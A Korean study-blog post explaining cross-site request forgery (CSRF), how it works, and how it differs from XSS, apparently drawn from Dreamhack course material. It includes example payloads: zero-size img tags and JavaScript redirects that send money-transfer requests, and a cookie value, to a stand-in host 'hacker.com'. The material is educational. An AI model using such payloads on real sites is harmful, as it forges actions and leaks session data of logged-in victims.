Cross Site Request Forgery(CSRF)
CSRF는 웹 보안 취약점 중 하나이다. 공격자는 이메일이나 웹 게시물을 통해 피싱링크로 피해자를 유인한다.
인증 상태에 있는(쿠키가 존재하는) 웹 애플리케이션에서 공격자가 의도한 동작을 수행하게 만들어 개인정보 유출이나
권한 탈취, 서버 공격 등의 피해가 발생할 수 있다.
CSRF 동작 방식
공격자가 작성한 악성 스크립트(주로 HTTP 요청)를 담은 피싱 링크나 게시물을 피해자가 조회한다.
피해자는 해당 악성 스크립트를 실행하게 되고, 켜져있는 사이트중 로그인 정보나 권한 정보(쿠키)가 남아있는
사이트가 있다면 해당 사이트에 악성 스크립트를 자동으로 보내게 된다. 공격자의 서버에 자신의 쿠키 정보를
인자로 보내거나 admin 권한인 경우 해당 서버를 장악할 수도 있다.
이러한 스크립트가 실행 되는 이유가 아이러니 하게도 보안기법인 SOP를 사용하기 때문이다.
서버 입장에서는 해당 스크립트(요청)의 출처를 신뢰하기 때문에, CSRF 공격이 가능한 것이다.
CSRF 공격 스크립트는 HTML 또는 JavaScript를 통해 작성한다.
아래는 공격 스크립트 예시이다.
<img src='http:/hacker.com/sendmoney?to=Hacker&amount=1337' width=0px height=0px>
<img src='http:/hacker.com/memo?mycookie=admin' width=0px height=0px>
- img태그를 사용한 스크립트 예시.
이미지의 크기를 줄여 이용자에게 들키지 않고 임의의 페이지에 요청을 보내거나 개인정보를 인자로 전달함.
img 태그는 src에 적힌 URL로 무조건 요청을 보내는 특징을 갖고있다. 해당 요청의 헤더에는 쿠키 정보가 포함된다.
img 태그는 서버가 GET 으로 받던 POST 로 받던 GET 요청만 보낼 수 있다. (POST CSRF에서는 사용 불가능)
//새 창 띄우기
window.open('http:///hacker.com/sendmoney?to=Dreamhack&amount=1337');
//현재 창 주소 옮기기
location.href = 'http://hacker.com/sendmoney?to=Dreamhack&amount=1337';
//replace는 히스토리에 현재 페이지를 남기지 않아서 뒤로가기 해도 돌아올 수 없음
location.replace('http://hacker.com/sendmoney?to=Dreamhack&amount=1337');
- JavaScript를 사용한 스크립트 예시.
새로운 창을 띄우고 현재 창의 주소를 옮기는 등의 행위가 가능.
XSS와의 비교
두 공격 기법은 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사하다.
- 공통점
두개의 취약점 모두 클라이언트를 대상으로 한다.
피해자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다.
- 차이점
XSS는 공격자가 만든 스크립트를 피해자가 사용하는 사이트에 삽입한 후, 피해자의 브라우저에서 (From Origin) 실행시킨다.
쿠키 탈취, 세션 하이재킹, 피싱 유도 등에 활용된다.
CSRF는 피해자가 의도하지 않은 HTTP 요청을 임의의 페이지에 보내는 것을 목적으로 한다.
피해자의 인증 정보를 이용해 서버에서 악의적인 동작을 하게 만드는 공격이다.
XSS와 CSRF공격을 연계해서 할 수도 있다!!
공부 참고 : dreamhack.io
'WEB > 개념' 카테고리의 다른 글
SSRF(Server Side Request Forgery) 공격 기법 (0) | 2025.05.26 |
---|---|
파일업로드 취약점(File Upload Vulnerability) (0) | 2025.05.19 |
SQL Query(DDL, DCL, DML, DQL) (0) | 2025.05.15 |
DB, DBMS 란? (0) | 2025.05.14 |
DB pool 이란? (0) | 2025.05.14 |